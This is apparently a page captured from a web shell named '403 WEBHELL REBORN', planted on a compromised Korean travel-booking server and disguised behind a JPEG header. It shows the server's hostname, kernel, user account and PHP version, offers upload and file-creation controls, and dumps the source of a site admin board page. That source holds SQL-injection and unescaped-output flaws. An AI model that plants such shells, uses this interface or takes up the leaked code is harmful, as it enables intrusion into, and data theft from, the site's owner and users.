ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/board/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/board/b2bWrite.html
<?php
include "../include/top.html";
include "_common.php";

if($TO_MB['mb_level'] == 5) $perm_str = "alert('권한이 없습니다');return;";

if(!$BD_CD) exit;

$BOARD_INFO = board_info_list('',$BD_CD);
$BOARD_INFO = $BOARD_INFO[0];

// 1차카테고리
$data_bc = TO_get_bc("","N");

if($MSEQ){
	$sql_where = "where MSEQ='".$MSEQ."' ";

	$data = board_list($BD_CD,$sql_where);
	$data = $data[0];

	if($BOARD_INFO[BD_WE]=='Y'){//에디터사용
		$data['MCONT'] = view_smart($data['MCONT'],"editor");
	}else{
		$data['MCONT'] = view_smart($data['MCONT'], "text");
	}

	$MEM_NM = $data[MEM_NM];
	$MEM_ID = $data[MEM_ID];
	$MEM_EMAIL = $data[MEM_EMAIL];
	$INSDT = $data[INSDT];

    $b2b_mb_id = $data['b2b_mb_id'];

	$SqlType = "edit";
	
	// 2차 카테고리
	if($data['b_uid']) $data_mc = TO_get_mc($data['b_uid'],"","N");
	
	// 3차 카테고리
	if($data['m_uid']) $data_sc = TO_get_sc("",$data['m_uid'],"","N");
	
	// 상품
	if ($data['m_uid']) {
		$CommonTour = new CommonTour();
		$data_good = $CommonTour->listGoodHotel(array("b_uid"=>$data['b_uid'],"m_uid"=>$data['m_uid'],"s_uid"=>$data['s_uid']));
	}
}else{
	$SqlType = "insert";
	$MEM_NM = $TO_MB['mb_nm'];
	$MEM_EMAIL = $TO_MB['mb_email'];
	$INSDT = date('Y-m-d H:i:s');
}

// 파라메터
$href = "BD_CD=$BD_CD";
$href.= "&b_uid_s=$b_uid_s";
$href.= "&m_uid_s=$m_uid_s";
$href.= "&s_uid_s=$s_uid_s";
$href.= "&mode=$mode";
$href.= "&select_key=$select_key";
$href.= "&input_key=$input_key";

$param = $href."&page=$page";

?>
<script type="text/javascript">
	/*window.onload = function(){
		CKEDITOR.replace('MCONT', {width:'100px', height:'300px'});
	}*/

	function chk_cmm_form(){
		var f = document.cmm_ins_form;

		var result = to_validation(f);
		if(result==false) return false;

<?
// 동영상 게시판일 경우 이미지/동영상 파일 체크 (20100813 )
if ($BOARD_INFO[BD_SORT] == "BDTPM04") {
?>
	// 동영상 게시판일 경우 이미지/동영상 파일 체크 (20100813 )
	if (f.T_UserFile1) { // 리스트 이미지
		if (!file_check('img', f.T_UserFile1.value, '<?=str_replace(",","|",$cf[image_ext])?>') || !f.T_UserFile1.value) {
			alert('이미지 첨부파일에는 이미지파일(<?=$cf[image_ext]?>)만 올릴 수 있습니다.');
			f.T_UserFile1.focus();
			return false;
		}
	}
	if (f.T_UserFile2) { // 동영상
		if (!file_check('wmv', f.T_UserFile2.value, '<?=str_replace(",","|",$cf[movie_ext])?>') || !f.T_UserFile2.value) {
			alert('동영상 첨부파일에는 동영상파일(<?=$cf[movie_ext]?>)만 올릴 수 있습니다.');
			f.T_UserFile2.focus();
			return false;
		}
	}
<?
}
?>

		f.submit();
	}

	function check_comment(){
		var f = document.cmm_ins_form;

		if($('#CCONT').val()!=''){
			//alert($('#CCONT').val());
			//ajax_post('check_in','proc.php','','SqlType=comment_add&MSEQ=<?=$data[MSEQ]?>&<?=$param?>&CCONT='+$('#CCONT').val());
			f.SqlType.value="comment_add";
			f.submit();
		}else{
			alert('코멘트 내용을 입력하세요');
			$('#CCONT').focus();
		}
	}

	function comment_del(CSEQ){
		if(!CSEQ) return;

		ajax_post('','proc.php?SqlType=comment_del&MSEQ=<?=$data[MSEQ]?>&<?=$param?>&CSEQ='+CSEQ,'','');
	}

</script>
	<div class="contents_wrap">
		<div class="contents_wrap_in">
			<div class="title">게시판 관리<span class="arrow">&gt;</span><strong><?=$BOARD_INFO[BD_NM]?> <?=($MSEQ)?"수정":"등록"?></strong></div>
			<div class="contents_detail">
                <div id="Content_box">
                    <form name="cmm_ins_form" id="cmm_ins_form" method="post" enctype="multipart/form-data" action="proc.php">
					<input type="hidden" name="param" id="param" value="<?=$param?>" />
					<input type="hidden" name="MSEQ" id="MSEQ" value="<?=$data[MSEQ]?>" />
					<input type="hidden" name="BD_CD" id="BD_CD" value="<?=$BD_CD?>" />
					<input type="hidden" name="SqlType" id="SqlType" value="<?=$SqlType?>" />

					<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register mt30" summary="게시물을 등록하실 수 있습니다.">
					<caption>게시물 등록</caption>
					<tbody>
					<?if($BOARD_INFO[BD_NG]=="Y"){//공지글사용?>
						<tr>
							<th width="100" height="30" scope="row"><label for="FIXED_YN">공지글</label></th>
							<td class="input_lo">
								<input name="FIXED_YN" id="FIXED_YN" type="checkbox" value="Y" <?if($data[FIXED_YN]=="Y"){?>checked<?}?> />
								<label for="FIXED_YN"><img src="../../image/board/notice.gif" align="top" alt="공지사항 지정" /></label>
							</td>
						</tr>
					<?}?>
					<?if($BOARD_INFO[BD_TP]){//카테고리분류?>
						<tr>
							<th scope="row">분류</td>
							<td>
								<select name="MSORT_03" id="MSORT_03" class="select">
									<?
									$arrBD_TP = explode(",", $BOARD_INFO[BD_TP]);
									for ( $i=0 ; $i<count($arrBD_TP) ; $i++ ) {
										if($arrBD_TP[$i]!=""){?>
										<option value="<?=$arrBD_TP[$i]?>" <?if($arrBD_TP[$i]==$data['MSORT_03']){?>SELECTED<?}?>><?=$arrBD_TP[$i]?>
									<?}
									}
									?>
								</select>
							</td>
						</tr>
					<?}?>
					<?if($BOARD_INFO[BD_OD]=='Y'){//순서조정가능?>
						<tr>
							<th scope="row"><label for="OrderNum"><img src="../image/btn/btn_num.gif" alt="순서" /></label></th>
							<td><input name="OrderNum" id="OrderNum" type="Number" size="3" maxlength="3" class="input_text" value="<?=($data[OrderNum])?$data[OrderNum]:"999"?>" style='ime-mode:inactive' hname="순서" required onKeyDown="ChkNum(this,event);" /></td>
						</tr>
					<?}?>
						<tr>
							<th scope="row"><label for="MEM_ID">아이디</label></th>
                            <td>
                                <input name="MEM_ID" id="MEM_ID" type="text" size="35" class="input_text" value="<?=(($_GET['BD_CD'] == 'B2BQNA') ? $b2b_mb_id : $MEM_ID)?>" style='ime-mode:active' hname="아이디" required />
                            </td>
						</tr>
						<tr>
							<th scope="row"><label for="MEM_NM">이름</label></th>
							<td><input name="MEM_NM" id="MEM_NM" type="text" size="35" class="input_text" value="<?=$MEM_NM?>" style='ime-mode:active' hname="이름" required /></td>
						</tr>
						<tr>
							<th scope="row"><label for="INSDT">작성일</label></th>
							<td><input name="INSDT" id="INSDT" type="text" size="35" class="input_text" value="<?=$INSDT?>" style='ime-mode:active' hname="작성일" required /> YYYY-MM-DD HH:II:SS</td>
						</tr>
						<tr>
							<th scope="row"><label for="MEM_EMAIL">e-mail</label></th>
							<td><input name="MEM_EMAIL" id="MEM_EMAIL" type="text" size="35" class="input_text" value="<?=$MEM_EMAIL?>" style='ime-mode:inactive' hname="e-mail" /></td>
						</tr>
						<tr>
							<th scope="row"><label for="MTITLE">제목</label></th>
							<td><input name="MTITLE" id="MTITLE" type="text" size="90" class="input_text" value="<?=$data[MTITLE]?>" style='ime-mode:active' hname="제목" required /></td>
						</tr>
					<?php if($BOARD_INFO['BD_CD']=="REVIEW" || $BOARD_INFO['BD_CD']=="ENREV" || $BOARD_INFO['BD_CD']=="CNREV" || $BOARD_INFO['BD_CD']=="TWREV") {?>
						<tr>
							<th scope="row"><label for="b_uid">카테고리</label></th>
							<td>
								<select name="b_uid" id="b_uid">
									<option value="">==1차카테고리==</option>
									<?php foreach($data_bc as $v){?>
									<option value="<?=$v['b_uid']?>" <?=($data['b_uid']==$v['b_uid']) ?"selected":""?>><?=$v['b_name']?></option>
									<?php }?>
								</select>
								<span id="ajax_m_uid">
								<select name="m_uid" id="m_uid">
									<option value="">==2차카테고리==</option>
									<?php foreach($data_mc as $v){?>
									<option value="<?=$v['m_uid']?>" <?=($data['m_uid']==$v['m_uid']) ?"selected":""?>><?=$v['m_name']?></option>
									<?php }?>
								</select>
								</span>
								<span id="ajax_s_uid">
								<select name="s_uid" id="s_uid">
									<option value="">==3차카테고리==</option>
									<?php foreach($data_sc as $v){?>
									<option value="<?=$v['s_uid']?>" <?=($data['s_uid']==$v['s_uid']) ?"selected":""?>><?=$v['s_name']?></option>
									<?php }?>
								</select>
								</span>
							</td>
						</tr>
						<tr>
							<th scope="row"><label for="b_uid">상품/호텔</label></th>
							<td>
								<span id="ajax_goodhotel">
								<select name="g_uid" id="g_uid" style="width:550px;">
									<option value="">==상품/호텔==</option>
									<?php foreach($data_good as $v){?>
									<option value="<?=$v['g_uid']?>" <?=($data['g_uid']==$v['g_uid']) ?"selected":""?>><?=$v['g_title']?></option>
									<?php }?>								
								</select>
								</span>
							</td>
						</tr>
						<tr>
							<th scope="row"><label for="b_uid">별점</label></th>
							<td>
								<input type="radio" name="star_rating" value="1" <?if($data[star_rating]==1){?>checked<?}?>>★&nbsp;&nbsp;
								<input type="radio" name="star_rating" value="2" <?if($data[star_rating]==2){?>checked<?}?>>★★&nbsp;&nbsp;
								<input type="radio" name="star_rating" value="3" <?if($data[star_rating]==3){?>checked<?}?>>★★★&nbsp;&nbsp;
								<input type="radio" name="star_rating" value="4" <?if($data[star_rating]==4){?>checked<?}?>>★★★★&nbsp;&nbsp;
								<input type="radio" name="star_rating" value="5" <?if($data[star_rating]==5||!$data[star_rating]){?>checked<?}?>>★★★★★
							</td>
						</tr>
						<script type="text/javascript">
						$("#b_uid").on("change",function(){
							ajax_loader("ajaxCategroyMc.php?b_uid="+$(this).val(),"ajax_m_uid");
							ajax_loader("ajaxCategroySc.php","ajax_s_uid");
							ajax_loader("ajaxGoodHotel.php","ajax_goodhotel");
						});
						
						</script>
					<?php }?>
						<tr>
							<th scope="row"><label for="MCONT">내용</label></th>
							<td><textarea name="MCONT" id="MCONT" <?if($BOARD_INFO[BD_WE]=='Y'){?>class="ckeditor"<?}?>><?=$data[MCONT]?></textarea></td>
						</tr>
					<?if($BOARD_INFO[BD_SC]=="Y"){?>
						<tr>
							<th height="30" scope="row"><label for="SECRET">비밀글</label></th>
							<td>
								<input class="vertical" type="checkbox" name="SECRET" id="SECRET" value="Y" <?if($data[SECRET]=="Y"){?>checked<?}?> /> <img src="../../image/board/secret.gif" align="top" />
							</td>
						</tr>
					<?}?>
					<?if($BOARD_INFO[BD_FL]>0){//파일
							for($f=1; $f<=$BOARD_INFO[BD_FL]; $f++) {
							?>
						<tr>
							<th scope="row">
								<?
								// 동영상 게시판일 경우 (20100813 )
								if ($BOARD_INFO[BD_SORT] == "BDTPM04") {
									if ($f == 1) echo "이미지"; else echo "동영상";
								}else{
								?>
								<img src="../../image/board/bullet_disk.gif" align="top" alt="파일첨부" />
								#<?=$f?>
								<? } ?>
							</th>
							<td>
								<input type="hidden" name="MFILE<?=$f?>" value="<?=$data["MFILE0".$f]?>" />
								<?if($data["MFILE".$f]){?>
								<img src="../../image/board/bullet_disk.gif" align="top" />
								<a href="../lib/Download.php?Type=CMM&BD_CD=<?=$BD_CD?>&FileName=<?=$data["MFILE".$f]?>" title="다운로드"><span class="style_3"><?=$data["MFILE".$f]?></span></a>
								<img src="../image/btn/btn_delete.gif" align="top" style="cursor:pointer" alt="삭제" onclick="fnc_ImageDel('MSEQ','<?=$MSEQ?>','<?=$BD_CD?>','MFILE<?=$f?>','<?=$data["MFILE".$f]?>','/FileData/board/<?=$BD_CD?>/');" />
								<?
								// 이미지 파일일 경우 (20090820 )
								if (preg_match("/\.(jpg|jpe|gif|png|bmp)$/", $data["MFILE".$f])) {
									$url1 = $_SERVER[DOCUMENT_ROOT]."/FileData/board/$BD_CD/".$data["MFILE".$f];
									$target1 = "/FileData/board/$BD_CD/".$data["MFILE".$f];
								
									// 이미지 사이즈를 구함
									if (file_exists($url1)) {
										$img_size1 = GetImageSize($url1);
										$img_width1 = $img_size1[0]; //이미지의 넓이를 알 수 있음
										$img_height1 = $img_size1[1]; //이미지의 높이를 알 수 있음

										if ($img_width1 > 300) {
											$img_width1 = 300;
										}
								?>
								<br />
								<img src="<?=$target1?>" width="<?=$img_width1?>" onclick="to_dialog.image(this.src,'#<?=$f?>');" vspace="5" style="cursor:pointer;" alt="첨부이미지" />
								<? } ?>
								<?}?>
								<br />
								<?}?>
								<input type="file" name="T_UserFile<?=$f?>" class="input_file input_text" size="50" style="height:18px;" />
							</td>
						</tr>
							<?
								}
							}

							if($BOARD_INFO['BD_CG']=='Y' && $MSEQ){//코멘트사용
							?>
						<tr>
							<th scope="row"><label for="CCONT">코멘트</label></th>
							<td>
								<?
									//print_r($data['COMT_LIST']);
								?>
								<ul class="comment">
									<?
									if($data['COMT_CNT']>0){
										foreach($data['COMT_LIST'] as $PRow){
											?>
									<li>
										<span class="pr20 comment_date"><?=substr(str_replace("-",".",$PRow[INSDT]),2,14)?></span>
										<span class="comment_name"><?=$PRow[CMEM_NM]?>(<?=$PRow[CMEM_ID]?>)</span>
										<span class="comment_con"><?=$PRow[CCONT]?>&nbsp;<a href="#" onclick="comment_del('<?=$PRow[CSEQ]?>'); return false;"><img src="/toadmin/image/btn/btn_delete.gif" class="btn_delete" alt="삭제" /></a></span>
									</li>
									<?}
									}?>
								</ul>
								<div class="comment_box">
									<textarea name="CCONT" id="CCONT" class="lo_left" style="width:700px;" rows="6"></textarea>
									<div style="clear:both; padding-top:5px;">
										<input type="button" value="코멘트 등록" class="Tbtn gray" onclick="check_comment();" />
									</div>
								</div>
							</td>
						</tr>
							<?
						}
						?>
						</tbody>
					</table>

					</form>

				<div class="btn_wrap_C mt30" style="background:#edf0f5">
					<?php

                    if($BOARD_INFO['BD_RG'] == "Y" && $data['FIXED_YN'] == "N") { ?>
						<a class="Bbtn green" href="reply.html?BD_CD=<?=$BD_CD?>&MSEQ=<?=$MSEQ?>&mode=<?=$mode?>" >답변하기</a>&nbsp;
					<? } ?>
					<a class="Bbtn red" href="#" onclick="<?=$perm_str?>chk_cmm_form();"><?=($MSEQ)?"수정":"등록"?>하기</a>&nbsp;
					<a class="Bbtn" href="#" onclick="document.location.reload();">다시작성</a>&nbsp;
					<a class="Bbtn gray" href="index.html?<?=$param?>">목록으로</a>
				</div>
				<div id="check_in" style="width:100%;height:300px;"></div>
		</div>
	</div>
</div>

<iframe name="IMGIF" id="IMGIF" width="0" height="0" style="display:none;"></iframe>

<script type="text/javascript">
// 첨부파일 삭제 함수 (20090820 )
function fnc_ImageDel(IDX_NM, MSEQ, TB_NM, FL_NM, IMG_NM, IMG_PATH) {
	if (confirm('정말 삭제하시겠습니까?')) {
		var Url = "ImgDel.php?IDX_NM=" + IDX_NM + "&MSEQ=" + MSEQ + "&TB_NM=" + TB_NM + "&FL_NM=" + FL_NM + "&IMG_NM=" + IMG_NM + "&IMG_PATH=" + IMG_PATH;
		IMGIF.location.href = Url;
	}
}

$(function(){
	CKEDITOR.replace('MCONT', {width:'800px',height:'350px'});
});
</script>

<? include "../include/footer.html" ?>


Anon7 - 2021